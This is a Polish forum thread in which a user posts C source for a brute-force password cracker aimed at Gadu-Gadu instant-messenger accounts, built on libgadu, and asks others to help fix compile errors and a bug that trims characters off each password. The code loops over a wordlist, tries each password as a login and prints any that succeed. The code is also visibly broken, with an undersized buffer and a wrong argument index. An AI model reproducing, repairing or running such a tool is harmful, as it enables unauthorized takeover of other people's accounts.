problem z programem pomocy!!!

Martini9008

Użytkownik
Dołączył
Sierpień 19, 2011
Posty
6
mam problem z tym kodem mógłby ktoś pomóc?? o to kod



#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu

int main(int argc, char **argv)
{
struct gg_session *sess;
struct gg_event *e;
struct gg_login_params p;

/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
gg_debug_level = 0;

/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 3) {
fprintf(stderr, "uzycie: %s <numer> <plik z haslami>\n", argv[0]);
return 1;
}

/*
Deklarujemy zmienne potrzebne do
zliczenia ilosci wierszy
*/
FILE *plik;
int wiersz = 0;
char znak;

//Jesli nie ma pliku z haslami
if((plik = fopen(argv[2], "r")) == NULL)
{
//Informujemy o bledzie i konczymy dzialanie programu
printf("nie mogę otworzyć pliku \n");
return 1;
}

//Dopoki nie dojedziemy do konca pliku
while((znak = getc(plik)) != EOF)
{
if(znak == '\n') { //Zliczamy ilosc wierszy
++wiersz;
}
}

/*
Odczytujemy wiersz
po wierszu z pliku
i zapisujemy wartosc
do zmiennej
*/
FILE *pFile;
int i=0;
char haslo[3];
pFile = fopen(argv[2], "r");

/*
Jesli nie ma pliku z haslami
Informujemy o bledzie i konczymy dzialanie programu
*/
if(pFile == NULL) {
printf("Blad odczytu pliku");
return 1;
} else {
/*
Jazda
*/
for(i=0;i<=wiersz-1;i++) {
fgets(haslo, 131072, pFile);

//Zwalniamy pamiec
memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer, ten sam co wczesniej
p.uin = atoi(argv[2]);
//Zmienna pomocnicza, aby obciac enter
char x;
//Zmienna pomocnicza = haslo z enterem
x=strlen(haslo);
//Haslo z enterem = haslo bez entera
haslo[x-2]='\0';

//Deklarujemy aktualnie testowane haslo
p.password = haslo;

/*
Jesli haslo sie nie zgadza
*/
if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac,
jesli chcemy wyswietlac informacje
o haslach, ktore nie przeszly testu
*/
printf("Bashed: -%s- \n -------------------- \n", haslo);
/*
Zwalnaimy pamiec
*/
gg_free_session(sess);
} else { //Jesli zgadlismy haslo drukujemy je
printf("Cracked: %s \n -------------------- \n", haslo);
return 1;
}

/*
Zwalniamy pamiec
*/
gg_logoff(sess);
gg_free_session(sess);
}
}

return 0; //zakonczenie programu
}
 

trojanxem

Użytkownik
Dołączył
Grudzień 6, 2011
Posty
239
A z czym tutaj pomóc, nie kompiluje się?
 

Martini9008

Użytkownik
Dołączył
Sierpień 19, 2011
Posty
6
przy kompilacji wyskakuje błąd

reader@hacking:~/Desktop $ gcc brutusik.c -o brutusik
/tmp/cc2y3UTP.o: In function `main':
brutusik.c:(.text+0x15): undefined reference to `gg_debug_level'
brutusik.c:(.text+0x1aa): undefined reference to `gg_login'
brutusik.c:(.text+0x1d4): undefined reference to `gg_free_session'
brutusik.c:(.text+0x203): undefined reference to `gg_logoff'
brutusik.c:(.text+0x20e): undefined reference to `gg_free_session'
collect2: ld returned 1 exit status
 

Loczuch

Użytkownik
Dołączył
Grudzień 17, 2011
Posty
10
W jakim programie piszesz? Ja znalazłem wiele gówien, w których jest całkowity skrypt dobrze napisany, ale oczywiście przy kompilacji ZAWSZE jest jakiś błąd! :rolleyes:
 

michal31337

Były Moderator
Dołączył
Październik 16, 2011
Posty
329
a mógłbyś mi powiedzieć jakie sa odpowiednie??
Może samo libgadu, na którym oparty jest cały program...? Jak można tego nie widzieć? Aha, będąc script-kid'em...
http://toxygen.net/libgadu/ biblioteka napisana w C.

#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu

To są używane biblioteki w programie. Chcesz zrobić brute force haseł na GG, a nie znasz podstaw :[
 
Ostatnia edycja:

Martini9008

Użytkownik
Dołączył
Sierpień 19, 2011
Posty
6
wszystko śmiga tylko czemu pobiera mi z pliku hasło i jedna litere mniej?? i jakoś nie chce to znaleźć odpowiedniego hasła chociaż mam proste haslo na gg
 

Martini9008

Użytkownik
Dołączył
Sierpień 19, 2011
Posty
6
przeciez mówie ze wszystki jest dobrze tylko program z pliku z hasłamibierze haslo i jedna litere mniej
 
Do góry Bottom